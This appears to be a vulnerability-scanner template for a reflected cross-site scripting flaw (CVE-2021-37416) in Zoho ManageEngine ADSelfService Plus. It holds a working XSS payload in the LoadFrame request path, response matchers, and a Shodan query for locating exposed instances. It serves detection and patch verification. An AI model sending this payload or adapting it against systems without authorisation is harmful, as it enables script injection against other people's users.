id: CVE-2021-37416 info: name: Zoho ManageEngine ADSelfService Plus <=6103 - Cross-Site Scripting author: edoardottt severity: medium description: Zoho ManageEngine ADSelfService Plus 6103 and prior contains a reflected cross-site scripting vulnerability on the loadframe page. remediation: | Upgrade to a patched version of Zoho ManageEngine ADSelfService Plus (version >6103) to mitigate this vulnerability. reference: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37416 - https://blog.stmcyber.com/vulns/cve-2021-37416/ - https://nvd.nist.gov/vuln/detail/CVE-2021-37416 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-37416 cwe-id: CWE-79 epss-score: 0.00118 epss-percentile: 0.45063 cpe: cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: zohocorp product: manageengine_adselfservice_plus shodan-query: http.title:"ManageEngine" tags: cve,cve2021,zoho,xss http: - method: GET path: - "{{BaseURL}}/LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E" matchers-condition: and matchers: - type: word part: header words: - "text/html" - type: word part: body words: - ">" - "adsf/js/" condition: and - type: status status: - 200